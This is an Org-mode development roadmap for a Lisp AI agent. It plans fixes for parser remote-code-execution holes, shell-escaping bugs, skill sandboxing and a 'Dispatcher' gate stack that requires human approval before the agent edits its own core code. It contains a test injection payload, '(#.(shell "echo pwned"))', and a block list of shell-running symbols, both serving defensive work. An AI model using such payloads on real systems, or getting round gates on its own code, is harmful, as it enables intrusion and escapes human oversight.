:CREATED: [2026-05-03 Sun]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-05-03 Sun]
:END:
- P0: vault-get-secret / vault-set-secret wrappers (one-line delegation to vault-get/vault-set with ~:type :secret~)
- P0: system-archivist Scribe + Gardener (distill daily logs → atomic notes; scan broken links, orphaned memory-objects)
- P0: system-self-improve surgical edit + error fix (read → replace → snapshot → write → balance → tangle → reload)
- P0: programming-org org-modify + org-ast-render (locate node by ID, apply changes; convert plist AST → Org text)
- P0: programming-literate balance check + tangle sync (verify balanced parens in source blocks; verify .lisp matches tangled output)
- P1: system-event-orchestrator bootstrap (scan Org files for HOOK/CRON properties, register via existing registries)
- P1: system-memory introspection (structured statistics: object count by type, TODO distribution, orphans, snapshots)
- P1: path relic skills/ → lisp/ (update skill-initialize-all and context-skill-source to resolve against lisp/ directory)
- P2: core-context semantic retrieval (populate org-object-vector at ingest; fallback: TF-IDF bag-of-words)
- P2: core-context subtree-based skill source loading (context-skill-subtree for targeted retrieval by heading name)
- P3: Variable name drift normalization (*memory* vs *memory-store*, *skills-registry* vs *skill-registry*)
- P4: Eliminate STYLE-WARNINGs from setup output (reorder defuns for same-file forward references; accept cross-skill references)
*** DONE Project Renaming (Bouncer → Dispatcher)
:PROPERTIES:
:ID: id-9e779580-287b-b3d1-37b9-bcefd750bf9e
:CREATED: [2026-05-01 Fri 15:40]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-05-02 Sat 22:00]
:END:
The Dispatcher's role has evolved beyond security guard. It is the seed of the deterministic engine — it learns to execute procedures without invoking the neural net.
*** v0.3.1 — TODO Parser RCE elimination
Rationale: SBCL's default ~*read-eval* accessor is ~t~, enabling the ~#.~ reader macro to execute arbitrary Lisp forms during parsing. Three code paths in the current codebase process untrusted input with ~read-from-string~ or ~read~ without binding ~*read-eval*~ to ~nil~. Each represents a remote code execution vector that bypasses all deterministic safety gates — the Dispatcher's shell safety check, path protection, secret scanning, and network exfiltration detection never execute because the malicious form is evaluated during parsing, before the action plist is even constructed.
- Wrap ~read-from-string~ in ~think()~ (core-loop-reason.lisp:102) with ~(let ((*read-eval* nil)) ...)~ — LLM output is untrusted by definition; parsing it must never execute code. The markdown-strip regex already runs, so the fix immediately follows it.
- Wrap ~read~ in ~load-memory-from-disk~ (core-memory.lisp:143) with ~(let ((*read-eval* nil)) ...)~ — the ~memory.snap~ file lives in ~~/ by default and could be corrupted or planted.
- Wrap ~read-from-string~ in ~action-system-execute~ (core-loop-act.lisp:62) with ~(let ((*read-eval* nil)) ...)~ — the ~:system :eval~ path executes untrusted payload code. Explicitly assert that this path requires the Dispatcher's approval gate.
- Add FiveAM test: inject ~"(#.(shell \"echo pwned\"))"~ into the ~think()~ pipeline and assert no shell execution occurs.
*** v0.3.2 — TODO Shell safety & actuator sandboxing
Rationale: The ~:system :eval~ actuator path is currently unchecked by the Dispatcher's approval gate — only ~:shell~ and ~:tool "shell"~ trigger HITL. The shell actuator wraps commands through double ~bash -c~ nesting (~system-actuator-shell.lisp:10~), where Lisp's ~format~ with ~s~ produces S-expression-safe strings, not shell-safe strings. A command containing quotes or substitution characters can break out. Additionally, skill files loaded via ~skill-initialize-all~ execute arbitrary Lisp in jailed packages — a skill file containing ~(uiop:run-program "dangerous")~ executes immediately on load before any gate can inspect it.
- Fix shell double-wrapping: remove the outer ~bash -c~ in ~actuator-shell-execute~; pass the command string directly to ~uiop:run-program~ with ~:force-shell nil~. The timeout wrapping remains via the OS ~timeout~ binary.
- Extend the Dispatcher approval requirement to the ~:system :eval~ path (currently only ~:shell~ and ~:tool "shell"~ trigger HITL). An unbounded ~eval~ should require the same Flight Plan approval as a shell command.
- Add skill sandbox mode for ~skill-initialize-all~: load each skill's code into a temporary jailed package, run the registered trigger function in isolation, verify it imports no restricted symbols (from CL package: ~run-program~, ~shell~, ~run-shell-command~), then promote to the live registry on pass.
- Add FiveAM test: register a skill containing ~(uiop:run-program "echo test")~ in the body and verify the sandbox blocks its promotion.
*** v0.3.3 — TODO TUI Critical Fixes
Rationale: The TUI is Passepartout's only interface. OpenClaw distributes across 25+ messaging channels with voice, Canvas, and macOS/iOS apps. Hermes Agent ships multiline editing, slash-command autocomplete, conversation history, interrupt-and-redirect, and streaming tool output in its TUI. Passepartout's Croatoan TUI must carry the product alone, and it currently lacks word wrap, cursor movement, resize handling, connection-loss feedback, a quit command, and persistent history. None of these fixes require daemon changes — they are pure client-side Croatoan work that closes the gap from "proof of concept" to "daily driver."
- Word wrap in ~view-chat~: every LLM response longer than the terminal width is silently truncated to one line. Croatoan supports multi-line rendering; ~view-chat~ must calculate per-message line height, adjust visible-message count accordingly, and scroll per message-line rather than per message. For very long messages, add a pager mode where pressing Enter on a message opens it in a scrollable overlay.
- Left/Right cursor in input: add ~:left~ and ~:right~ key handlers that move a cursor position index within the ~:input-buffer~ list. Characters are inserted at the cursor position, not always appended. Backspace deletes at the cursor position.
- SIGWINCH handler: register a terminal resize signal. On resize, re-measure the root window, destroy and recreate the three sub-windows (~sw~, ~cw~, ~iw~), set all dirty flags to ~t~, and force a full redraw.
- Connection-loss detection: the reader thread currently polls ~recv-daemon~ silently on EOF. On disconnection, queue a ~:disconnected~ event, set ~:connected~ to ~nil~, clear ~:busy~, add a red system message "Connection lost — run /reconnect to retry." The ~:disconnected~ event dirties the status bar to show the status indicator.
- ~/quit~ command + persistent history: on ~/quit~, save ~:input-history~ to ~~/.cache/passepartout/history~ (one line per entry, most recent first), send a goodbye handshake to the daemon, close the socket, and exit the main loop cleanly. On startup, load history from the save file if it exists.
- Scroll offset clamping: clamp ~:scroll-offset~ to ~(max 0 (- msg-count visible-lines))~. The status bar shows ~"msgs:12/45"~ (visible / total) rather than ~"msgs:45"~ (total only) so the user knows when they've scrolled past the oldest message.
- Message list storage: replace the O(n²) ~(nth i msgs)~ list indexing with a simple adjustable vector. ~add-msg~ appends; ~view-chat~ iterates with ~aref~. The vector is resized as needed. Same API surface, 100x speedup on message-heavy sessions.
- Add FiveAM tests: word-wrap produces correct line count for a 200-character string at 80-column width; cursor left/right wraps at buffer boundaries; SIGWINCH preserves message state; ~/quit~ saves and restores history.
** v0.4.0: Production Hardening
The features in this version were originally sequenced as v0.3.x patches but represent feature-level scope. They activate the architectural advantages designed in v0.1.0–v0.3.0, harden the self-build safety boundary, and expand Passepartout's interaction surfaces beyond the terminal TUI. Each feature depends on infrastructure already in place — the wiring, the sandbox, the gate trace — and activates it.
*** TODO Semantic retrieval activation
Rationale: Two independent failures prevent the foveal-peripheral semantic retrieval path from ever firing. First, ~context-awareness-assemble~ never passes ~:foveal-vector~ to ~context-object-render~, so the renderer receives ~nil~ for ~foveal-vector~ and the similarity calculation always returns 0.0. Second, the default ~:hashing~ embedding backend uses SHA-256 (a cryptographic hash with the avalanche property) as a similarity function. SHA-256 is designed to produce entirely different outputs for nearly identical inputs — the property that makes it secure for integrity verification is precisely what makes it useless for semantic retrieval. A content-addressed Merkle tree correctly uses SHA-256 for identity; a retrieval engine needs a similarity function, not an identity function. The infrastructure for real embeddings (~local~ with Ollama, ~openai~ with the embeddings API) is fully implemented and working — this release activates the last-mile wiring and replaces the semantically blind default with a zero-dependency algorithm that actually captures textual overlap.
- Wire ~:foveal-vector~ into ~context-awareness-assemble~: pass ~(memory-object-vector (memory-object-get foveal-id))~ as the ~:foveal-vector~ argument to the ~context-object-render~ call (one line in ~core-context.lisp:148-150~).
- Replace ~:hashing~ default backend with character-trigram Jaccard similarity. Pure Lisp, zero external dependencies, works exactly as offline as SHA-256, but captures lexical overlap: "authentication" and "authenticate" share trigrams "aut," "uth," "the," "hen," "ent," etc. The vector is a bloom filter of trigrams; cosine similarity maps to Jaccard (intersection / union). This provides real if crude semantic signal without any server.
- Rename existing ~embedding-backend-hashing~ to ~embedding-backend-sha256~ and repurpose it as an explicit ~:sha256~ provider for environments where even trivial Lisp computation is undesirable (embedded, resource-constrained). Document it as "integrity-only, no semantic retrieval capability."
- Add ~EMBEDDING_PROVIDER~ guidance to the setup wizard: explain that ~:hashing~ is the default offline fallback, ~:local~ requires Ollama with ~nomic-embed-text~, and ~:openai~ uses the paid embeddings API.
- Add FiveAM test: ingest two semantically related nodes ("implement login form" and "add password authentication"), verify cosine similarity > 0.0 with the trigram backend.
*** TODO Self-build safety boundary
Rationale: Self-building (the agent modifying its own source code) begins at v0.7.1 when the tool ecosystem and test runner are in place. But self-building without path-level write protection means the agent can modify the very pipeline code that is currently executing — the ~core-*~ files that implement the Perceive-Reason-Act cycle, the Merkle-tree memory, the skill engine loader, and the Dispatcher gate stack itself. A hallucination or a logic error during self-building that corrupts ~core-loop-reason.lisp~ destroys the agent's ability to reason about and fix the corruption. The "thin harness" is not privileged code in the architectural sense (homoiconicity means any code can be modified at runtime), but it must be *protected* code — modifications to the harness require a human in the loop, enforced by the Dispatcher's path-protection gate, not by convention.
This is the corollary to "thin harness, fat skills": the harness is thin enough to be auditable by a human, and the Dispatcher ensures it stays that way. Skills and system modules expand freely; the core contracts to a minimal, protected kernel.
- Add ~core-*~ patterns to ~*dispatcher-protected-paths*~: ~core-*.org~, ~core-*.lisp~, and their tangled equivalents. Any file write, file read-that-prefaces-a-write, or shell command targeting these paths triggers the Dispatcher's blocking gate.
- The blocked action produces a Flight Plan (HITL approval required). The human reviews the proposed core change in an Org buffer before approving. This is the same mechanism that governs shell commands and network exfiltration — the core protection is a path-specific instance of the existing gate, not a new gate.
- Implement a ~SELF_BUILD_MODE~ env var. When ~SELF_BUILD_MODE=true~ (default ~false~):
- Core path protection is active (writes blocked, HITL required)
- Non-core writes proceed through the standard Dispatcher gate (permissions table + policy + Bouncer)
- ~SELF_BUILD_MODE=false~ disables core protection entirely — useful during initial development when the human is manually editing core files and doesn't want every save to trigger a Flight Plan
- Telemetry: track self-build actions (core modifications proposed, core modifications approved, core modifications denied). This is the dataset that the Dispatcher's learning system uses in v3.0.0 to understand which core modifications are safe enough to automate.
- Add FiveAM test: simulate a write to ~core-loop.lisp~, verify the Dispatcher returns a ~:LOG~ rejection with ~"protected path"~ in the message.
*** TODO TUI Differentiator Visualization
Rationale: Three architectural elements exist today in the daemon that no competitor can render — the Dispatcher gate trace, the foveal-peripheral focus map, and the rules-learned counter. All three run in pure Lisp with 0 LLM tokens. None are visible to the user. Making them visible turns Passepartout's architecture from an internal mechanism into a trust-building UX — the user sees exactly which safety gates passed, exactly what the agent is focusing on, and exactly how many rules the Dispatcher has learned from their decisions. No competitor can ship this because none has deterministic gates to trace, foveal-peripheral context to map, or a rule-synthesizing Dispatcher to count.
- Gate trace per action: extend the daemon's response plist to include ~:gate-trace~ — a list of ~(:gate <name> :result <:passed | :blocked | :approval>)~ entries produced by ~cognitive-verify~. The TUI renders each entry as a colored line below the corresponding agent message: green ~✓ Dispatcher: path allowed~, red ~✗ Dispatcher: blocked (shell safety)~, yellow ~→ HITL required: /approve HITL-ab12~. Gate trace lines are dim and collapsible (press Tab on a message to toggle trace visibility). This turns the invisible nine-vector safety gate into the user's primary trust mechanism.
- Focus map in status bar: add a second status bar line showing ~[Focus: core-loop.lisp:think()] [Scope: passepartout] [3 related nodes]~. The daemon already tracks ~foveal-id~ and ~*scope-resolver*~ in the signal plist; the TUI reads these from the most recent response and renders them. Related node count comes from the number of objects with cosine similarity ≥ threshold in the last context assembly. This shows the user *what the agent is looking at* — the single biggest trust gap in AI agents.
- Rule counter in status bar: ~[Rules: 47]~. The Dispatcher's ~*hitl-pending*~ hash table and approved/disallowed memory-object entries provide the count — every HITL decision that produces a rule increments it. The TUI reads the count from a new daemon response field ~:rule-count~. The user watches the counter tick up as they teach the agent their preferences.
- Expanded theme: replace the 7-flat-color ~*tui-theme*~ with a 25-color layered system organized by message category (roles, content types, tool visibility, gate states, status). See the design discussion for the full color mapping. Implement a ~/theme <name>~ command that swaps between named presets (~dark~, ~light~, ~solarized~, ~gruvbox~). Theme change persists to disk and reloads on next session.
- Add FiveAM tests: gate trace renders correctly for pass/block/approval states; focus map updates when ~foveal-id~ changes; rule counter increments on HITL approval.
*** TODO Gateway QA, Discord, Slack + Emacs Bridge
Rationale: Passepartout currently has Telegram and Signal gateways in the codebase, both untested. The setup wizard has Slack as a configurable option with no implementation. Two messaging channels is not competitive — OpenClaw has 25+, Hermes Agent has 6+. But more critically: the Lisp crowd is Passepartout's natural audience, and they live in Emacs. An Emacs bridge that speaks the framed TCP protocol is trivial to implement (the protocol is ~200 lines of Lisp; porting to elisp is straightforward) and turns every Emacs buffer into a Passepartout interaction surface. This is not the deep Emacs integration of v0.10.2 (where the agent controls Emacs) — this is Emacs controlling the agent over TCP. The Emacs user selects a region, hits ~M-x passepartout-send-region~, and the agent responds in a dedicated buffer. They never leave their editor.
Gateway:
- Integration tests for Telegram gateway: mock the Telegram Bot API, verify message send (POST ~/sendMessage~) and receive (GET ~/getUpdates~) round-trip. Verify HITL commands (~/approve~, ~/deny~) are intercepted before injection.
- Integration tests for Signal gateway: mock ~signal-cli~ output, verify JSON message parsing and polling loop. Verify send path constructs correct ~signal-cli send~ arguments.
- Add Discord gateway: Discord Bot API (REST + Gateway WebSocket for real-time messages). Register bot, handle ~MESSAGE_CREATE~ events, send via ~POST /channels/{id}/messages~. Map Discord mentions to ~:user-input~ signals. HITL commands work identically to Telegram.
- Add Slack gateway: Slack Events API + Web API. Subscribe to ~message.im~ events, send via ~chat.postMessage~. Reuse the SLACK_TOKEN config key already present in the setup wizard.
- Each gateway is a skill under ~passepartout.skills.gateway-<platform>~ — jail-loaded, hot-reloadable, sandbox-verified.
- Gateway configuration surfaced in the setup wizard: after entering a token, offer "send a test message to yourself" as a connection verification step. Surface the result as a green ✓ or red ✗ with the error detail.
- Gateway status displayed in ~messaging-list~: platform, configured (yes/no), gateway active (yes/no), last message received (timestamp).
Emacs Bridge:
- Elisp package: ~passepartout.el~. Connects to daemon on localhost:9105 via ~make-network-process~ (TCP).
- Sends: framed plist protocol identical to the TUI (~frame-message~ ported to elisp — write hex length prefix, write prini'd plist). The daemon does not know or care whether the client is the Croatoan TUI, the CLI, or Emacs.
- Receives: daemon responses arrive in a ~passepartout-response~ buffer. Each response is rendered as an Org headline: role prefix, timestamp, content. Gate trace (from v0.4.0) is rendered as property drawer entries under the headline.
- ~M-x passepartout-send-region~: sends the selected region as a ~:user-input~ signal with the current buffer's file path as context.
- ~M-x passepartout-send-buffer~: sends the entire buffer.
- ~M-x passepartout-focus~: sets the foveal focus to the Org headline at point (extracts ~:ID:~ property, sends ~:point-update~ signal). Equivalent to the TUI's ~/focus~ command.
- ~M-x passepartout-approve~ / ~M-x passepartout-deny~: prompts for HITL token and sends approval/denial.
- Agent modifies an Org file → Emacs receives ~:buffer-update~ via the bridge → the buffer is refreshed (~revert-buffer~ or targeted replacement).
- The Emacs bridge is the daily driver for Lisp users. The TUI remains for non-Emacs users and for the differentiator visualizations. Emacs users get the gate trace and focus map as Org property drawers in the response buffer — same data, elisp-native rendering.
**** TODO Native embedding inference
Rationale: The foveal-peripheral model depends on vector similarity to surface semantically related nodes. Without vectors, retrieval is depth-2 truncation with no semantic boosting. The trigram Jaccard fallback provides real lexical signal — "login bug" shares trigrams with "authentication error" — but cannot surface nodes with zero lexical overlap ("password reset flow" vs "login broken"). A real embedding model closes this gap. Embedding inference is 10x simpler than chat LLM inference: single forward pass, no autoregressive decoding, no KV cache, no streaming. The CFFI binding is ~150 lines of Lisp.
- FFI binding to llama.cpp's embedding API (~150 lines of CFFI). Call ~llama_get_embeddings~ after a single forward pass. No KV cache, no sampling, no streaming required — embedding models are BERT-family, single-pass.
- Ship all-MiniLM-L6-v2 (23MB GGUF) as the bundled embedding model. 384-dimensional vectors, CPU-friendly (<100ms per document on any modern CPU), produces semantically meaningful vectors with zero external dependencies.
- ~embedding-backend-local~ detects the bundled model at configure time. If present, uses in-process inference by default. Falls back to Ollama (~EMBEDDING_PROVIDER=local~) or OpenAI (~EMBEDDING_PROVIDER=openai~) if the model is missing or the user prefers external inference.
- ~EMBEDDING_PROVIDER~ default becomes ~:native~ (the bundled model). The model file lives at ~~/.local/share/passepartout/models/all-MiniLM-L6-v2.gguf~, downloaded on first ~configure~ if not present.
- The trigram Jaccard backend remains as a further fallback for environments where even 23MB is too large (embedded, resource-constrained). SHA-256 hashing is removed entirely — it was semantically blind.
- Add FiveAM test: embedding a document with the native backend produces a 384-dimensional float vector; identical documents produce identical vectors.
*** Competitive Advantage Analysis — v0.4.0 Summary
Production hardening is the process of turning architectural potential into operational strength. The semantic retrieval fix activates the foveal-peripheral model's full power: deep nodes that are topically related to the user's focus now surface automatically. Without this, the context model is "dumb truncation at depth 2." With it, it's genuine semantic awareness — and since the retrieval is deterministic (in-image vector math, zero LLM tokens), the cost advantage over competitors' LLM-assisted search compounds with every query.
The self-build safety boundary is a capability no competitor provides: the agent cannot modify its own brain stem without human review. The ~core-*~ path protection means the Dispatcher draws a line at the filesystem level, not the policy document level. Claude Code, OpenClaw, and Hermes all allow agents to modify their own source files without distinction between application code and runtime code. Passepartout's Dispatcher prevents modification of the very pipeline that implements the Perceive-Reason-Act cycle, the Merkle-tree memory, the skill engine loader, and the Dispatcher gate stack itself. This is the operational realization of "thin harness, fat skills" — the harness is thin enough to be auditable by a human, and the Dispatcher ensures it stays that way.
The TUI differentiator visualizations are Passepartout's permanent UX advantage. The gate trace, focus map, and rule counter are UX elements that only make sense in Passepartout's architecture — deterministic gates, foveal-peripheral context, and Dispatcher rule synthesis exist nowhere else. No competitor can ship this because none has deterministic gates to trace, foveal-peripheral context to map, or a rule-synthesizing Dispatcher to count. Combined with the TUI critical fixes from v0.3.3, the TUI is competitive on usability and uniquely informative on safety and context transparency.
The messaging gateways and Emacs bridge expand Passepartout's interaction surface from a single terminal TUI to four surfaces: terminal, Telegram/Signal/Discord/Slack messaging, Emacs, and voice (via the voice gateway in v0.7.3). The Emacs bridge is strategically critical — the Lisp crowd is Passepartout's natural audience, and they live in Emacs. An Emacs bridge that speaks the framed TCP protocol turns every Emacs buffer into a Passepartout interaction surface. Combined with the gate trace and focus map rendered as Org property drawers in the response buffer, Emacs users get the same differentiator visualizations as TUI users — same data, elisp-native rendering.
** v0.5.0: Token Economics & Prompt Efficiency
The architecture's single largest gap versus SOTA: Passepartout currently spends tokens like a research prototype. Every ~think()~ call rebuilds and retransmits the full system prompt — IDENTITY + TOOLS + CONTEXT + LOGS + SKILL_AUGMENTS — with no caching, no budget, and no incremental assembly. The foveal-peripheral model prunes memory content but doesn't touch the fixed overhead. With 20+ skills by v1.0.0, system prompt overhead alone could reach 3,000–8,000 tokens per call before user input is even processed.
Competitors (Claude Code, OpenClaw, Copilot) all implement some form of prefix caching — Anthropic's API gives 90% discount on cached tokens, OpenAI caches automatically. Passepartout's prompt structure is already naturally cacheable: IDENTITY, TOOLS, and LOGS format are static across calls. This version turns that structural property into a cost advantage.
**Design insight: why token economics is the structural differentiator.** Passepartout's sparse-tree rendering and deterministic safety gates should produce 2–3x fewer tokens than competitors for equivalent coding tasks, and 13–24x fewer for knowledge management. But without caching and budget enforcement, the fixed overhead per call eats these savings. A coding session that touches 30 files with competent context management costs ~72K tokens (Passepartout) versus ~185K (Claude Code). Without caching, the Passepartout number climbs toward ~150K because every call retransmits the static prefix. The architectural advantage exists in theory but requires operational plumbing to materialize.
*** TODO Tokenizer integration
- Integrate a tokenizer for at minimum the model families used in the provider cascade (cl100k_base for OpenAI, claude-3 tokenizer for Anthropic). Options: FFI binding to tiktoken via CFFI, or a pure-Lisp port of the BPE tokenizer for cl100k_base (the encoding table is ~100KB, the algorithm is ~100 lines).
- Expose ~(count-tokens text &key model)~ as a core utility.
- Use for three purposes: context budget enforcement (reject assembly if over limit), cost estimation (tokens × provider price), and prompt optimization (measure which sections of the system prompt consume the most budget).
*** TODO Prompt prefix caching
- Split the system prompt into a static prefix (IDENTITY string, TOOLS section, LOGS format header) and a dynamic suffix (CONTEXT render, current log entries, skill augments, user prompt).
- Track a hash of the static prefix; only retransmit when it changes (skill load/unload, identity config change). On cache hit, send the cached prefix with the dynamic suffix appended.
- Implement the Anthropic prompt-caching header protocol for providers that support it (claude-3-* models, up to 90% discount on cached tokens). For OpenAI, the automatic caching layer handles prefix detection without explicit headers.
- Log cache hit/miss rate to telemetry for cost tracking.
*** TODO Incremental context assembly
- Cache the last rendered ~context-awareness-assemble~ string with metadata: foveal-id at render time, scope, last memory modification timestamp.
- On ~think()~ invocation: if foveal-id, scope, and memory-modification-timestamp are unchanged since the cached render, return the cached string. This eliminates re-rendering on heartbeat ticks, tool-output feedback loops, and multi-turn conversations where the user hasn't changed focus.
- Invalidate the cache on any ~ingest-ast~ call, any ~org-modify~, or any focus change.
- For heartbeats specifically: skip context assembly entirely — the heartbeat sensor bypasses the reason gate (returns early in ~loop-gate-reason:154~), so building awareness for a signal that won't call the LLM is pure waste. Add an early return in ~think()~ for ~:heartbeat~ / ~:delegation~ sensors.
*** TODO Per-call token budget
- ~CONTEXT_MAX_TOKENS~ env var (default: 16384, half of a 32K context window to leave room for model response).
- In ~think()~: compute total token count (static prefix + dynamic context + user prompt). If over budget, progressively trim: first truncate system logs to 5 lines, then drop skill augments from non-triggered skills, then if still over, downgrade peripheral nodes to title-only (disable ~:foveal-vector~ path, render strict depth ≤ 2).
- Log budget violations to telemetry with the trimmed-token count for diagnostics.
- The goal: Passepartout never silently exceeds a model's context window. Silent truncation by the model API produces undefined behavior (mid-thought cutoff, lost instructions). A system that knows it's over budget can degrade intentionally.
*** TODO Cost tracking
- Per-provider pricing lookup table: input/output token costs for each model in the provider cascade (gpt-4o-mini, claude-3-5-sonnet, deepseek-chat, llama-3.1-70b, groq-llama, etc.).
- After each ~backend-cascade-call~: compute cost as (input_tokens × input_price + output_tokens × output_price), log to session accumulator, emit ~:cost-update~ telemetry event.
- Per-session cumulative cost stored in memory (~*session-cost*~ plist: ~(:total <float> :by-provider <alist> :by-task <alist>)~).
- TUI status bar shows current session cost (optional, off by default, toggled via ~/cost~ command). The cost counter renders as ~[Session: $0.12]~ in the status bar, updating after each ~backend-cascade-call~. Color: green when under 50% of daily budget, yellow at 50-90%, red above 90%.
- ~COST_BUDGET_DAILY~ env var with soft cap — warning injected into system prompt when approaching budget, HITL gate on any single action exceeding 25% of remaining budget.
**** TODO Self-configuring setup binary
Rationale: The current ~passepartout configure~ flow is a bash script that detects Debian or Fedora, installs packages, installs Quicklisp, tangles Org sources, and runs the setup wizard. It handles 2 distro families. It fails on everything else. A self-configuring setup with a small LLM expands coverage to "anything with a package manager" without shipping gigabytes of model data. The key constraint: the LLM follows a decision tree for setup, it does not improvise. This keeps setup reliable while expanding coverage.
- The setup binary (~passepartout-setup~) is a ~save-lisp-and-die~ executable (~100MB: SBCL runtime + core Lisp code + native embedding inference from v0.4.0 + 23MB embedding model). No SBCL install required. No Quicklisp. No bash script. The user runs one file.
- Deterministic path (default, always runs first): the same distro detection, package installation, and configuration logic from today's bash script, reimplemented in Lisp. Handles Debian and Fedora families. Covers the common case without touching an LLM.
- LLM-assisted path (optional, activates on deterministic failure): downloads Qwen2.5-0.5B (~500MB GGUF, pinned by hash, cached to ~~/.local/share/passepartout/models/~). The model reads command output, classifies success/failure/recoverable-error from a finite set of outcomes, and selects the next corrective action from a constrained decision tree. On unrecognized failures, generates a diagnostic for the user.
- Model hash verification: the GGUF file is pinned by SHA-256 hash. If the hash doesn't match (wrong version, corrupted download), fall back to deterministic setup with a warning. The bootstrap tool must not fail silently because of a model mismatch.
- After setup completes, the binary exits. The user runs ~passepartout daemon~ to start the full system (a live SBCL process, not a sealed binary — REPL, hot-reload, self-modification all available).
- The setup binary is a bridge. It gets the system installed and configured, then gets out of the way. The final system is a live Lisp image, not a sealed binary.
- Add FiveAM test: the deterministic path succeeds on a system with all dependencies pre-installed; the LLM-assisted path correctly classifies 10 common package-manager error messages.
*** Competitive Advantage Analysis — v0.5.0 Summary
Token economics is the dimension where the architecture's theoretical advantage becomes operationally real. The foveal-peripheral model and deterministic gates reduce the tokens *needed* per task; prompt caching and incremental assembly reduce the tokens *spent* per task. Combined, the 2–3x coding savings and 13–24x knowledge management savings in the DESIGN_DECISIONS token analysis become achievable rather than aspirational.
The cost tracking and budget enforcement are defensive advantages: no competitor gives the user visibility into per-task LLM cost. Claude Code and Copilot obscure cost behind flat-rate subscriptions. Passepartout's transparent cost model is a sovereignty feature — the user knows what the agent spends on their behalf and can cap it.
The minimum viable local model advantage is structural: at 2,000–4,000 effective tokens (foveal-peripheral + caching), a 7–8B parameter model on consumer hardware is a daily driver. Competitors at 32K+ effective tokens require 70B+ parameter models and 16–32 GB VRAM. Passepartout runs on a laptop GPU where competitors need a data center card or cloud API.
** v0.6.0: Signal Pipeline, Concurrency & Streaming
The current pipeline is strictly sequential — one signal traverses Perceive → Reason → Act before the next signal begins. Background tasks (heartbeat, embedding cron, gardener scans) compete with foreground interactions. A heartbeat that fires during a long tool chain is queued. A Telegram message during a multi-step planning cycle is queued. The system feels sluggish under concurrent load even though the symbolic operations are near-instant (SBCL hash table lookups are microseconds) — the bottleneck is the single-pipeline architecture, not the hardware.
*Design insight: why concurrency matters for an agent that is "one brain."* Passepartout rejects multi-agent delegation on principle (see DESIGN_DECISIONS "One Single Agent"). But a single brain handles multiple inputs simultaneously — the human brain processes vision, audio, and proprioception in parallel. Rejecting multi-agent delegation does not require rejecting concurrency within the agent. The key is that all concurrent operations share the same memory space, the same Merkle tree, and the same deterministic gate stack. They are threads of one cognition, not separate agents.
*** TODO Priority-queue signal processing
- Replace the linear ~process-signal~ call chain with a priority-ordered signal queue. The queue is a sorted plist-list consumed by the main loop. Priority tiers:
- ~:user-input~ / ~:chat-message~ — highest priority (the user is waiting)
- ~:approval-required~ — high (HITL re-injections need quick resolution)
- ~:tool-output~ — medium (feedback from tool execution, needs LLM assessment)
- ~:interrupt~ — medium-high (shutdown signal)
- ~:heartbeat~ / ~:cron~ / ~:delegation~ — low (background maintenance)
- Coalesce duplicate heartbeats: if the queue already contains a ~:heartbeat~ signal when a new one arrives, discard the older one (no value in processing stale ticks). Keep at most one pending heartbeat at any time.
- The main loop drains the highest-priority signal from the queue, processes it through the pipeline, and repeats. If the pipeline produces feedback (tool-output → think), the feedback is enqueued at its appropriate priority — it may preempt background signals but won't interrupt the current signal mid-processing.
- Add telemetry: average queue depth by priority tier, max wait time per tier.
- TUI ~/reconnect~ command: when the connection-loss detection from v0.3.3 fires, the user can reconnect without restarting the TUI. The command closes the stale socket, re-runs ~connect-daemon~ with its retry backoff, and restores the ~:connected~ state on success.
*** TODO MVCC memory concurrency
- Replace ~*memory-store*~ (mutable global hash table) with a versioned Merkle-root pointer. The root is an ~(or null merkle-node)~ struct containing the tree and a monotonic version counter.
- Read threads snapshot the root before beginning their pipeline cycle. All object lookups dereference through the snapshot — they see a consistent view of memory regardless of concurrent writes. Reads never block.
- Write threads (ingest-ast, org-modify, snapshot-memory) build new object hashes, construct a new Merkle root, and CAS-replace the global root pointer. If another thread won the CAS race (root version changed), the loser re-reads the new root, replays its changes on the updated tree, and retries the CAS.
- Conflict probability is near-zero because concurrent signals almost never touch the same Org headline. The replay-on-conflict path exists for correctness but is rarely exercised. Lock contention is eliminated — the only atomic operation is the CAS on the root pointer.
- Remove the single-threaded pipeline assumption: previously, ~process-signal~ was safe because nothing else wrote to ~*memory-store*~ during its execution. With MVCC, multiple signals can process concurrently because each has its own snapshot. The ~*loop-interrupt-lock*~ becomes ~*signal-queue-lock*~ (protecting only the queue, not the memory).
- Test: concurrent ingest-ast from two threads writing to different memory objects, verify both commits succeed without corruption.
*** TODO Structured output enforcement
- Add a plist validation step between ~markdown-strip~ and ~read-from-string~ in ~think()~. Before attempting to parse, validate: (a) the output starts with ~(~ or ~[~, (b) it contains balanced delimiters (count opens vs closes), (c) it doesn't contain ~#.~ (redundant after v0.3.1 ~*read-eval* nil~ but defense-in-depth).
- On validation failure: construct a rejection trace (similar to the existing deterministic gate rejection feedback) and re-inject into the LLM prompt. The trace includes the raw output and a diagnostic ("Your response did not produce a valid plist. Ensure it starts with ( and has balanced parentheses.").
- Configurable ~LLM_OUTPUT_RETRIES~ (default 2). After exhausting retries, fall through with the raw text as a ~:MESSAGE~ action (current behavior).
- Track parse-failure rate per provider in telemetry. Use to guide provider cascade ordering: a provider with 20% parse-failure rate falls behind one with 2%.
- If retries are exhausted without a parseable plist, the TUI renders the raw LLM output in a dimmed, collapsible region labeled "Parse failure — could not interpret this response." The user can inspect what the model produced.
*** v0.6.3 — TODO Streaming responses
Rationale: Every competitor streams — Hermes Agent specifically lists "streaming tool output" as a feature, OpenClaw streams via messaging channels, Claude Code streams via terminal. A spinner followed by a wall of text is v0.1-era UX for an LLM chat interface. Streaming was originally sequenced in the evaluation release (after evaluation harness and computer use), but it depends only on the daemon protocol (chunked frames) and TUI rendering — neither require tools, planning, evaluation, or vision. Moving it to v0.6.3 means Passepartout streams before it ships tools, because streaming makes the existing chat experience competitive.
- Add a new frame type (~:type :stream-chunk~) to the daemon-TUI protocol. Chunks are variable-length strings carrying partial LLM output. The final chunk is an empty string, signalling end-of-stream.
- ~provider-openai-request~: for providers that support streaming (OpenRouter, OpenAI, Anthropic, Groq, local), send ~"stream": true~ in the request body. Read the SSE stream, extract ~delta.content~ from each chunk, and call a new ~*stream-callback*~ function with the partial text.
- The TUI renders partial output in the chat window as it arrives, appending characters to the in-progress agent message. The "…thinking" spinner is replaced by live, building text.
- Interrupt-and-redirect: the user pressing a key (Esc or any printable char) during streaming injects an interrupt signal. The partial response is captured as the agent's message, the LLM call is cancelled (HTTP connection closed), and the user's keystroke becomes new input. This replaces the current full-process ~SIGINT~ with a graceful mid-response redirect.
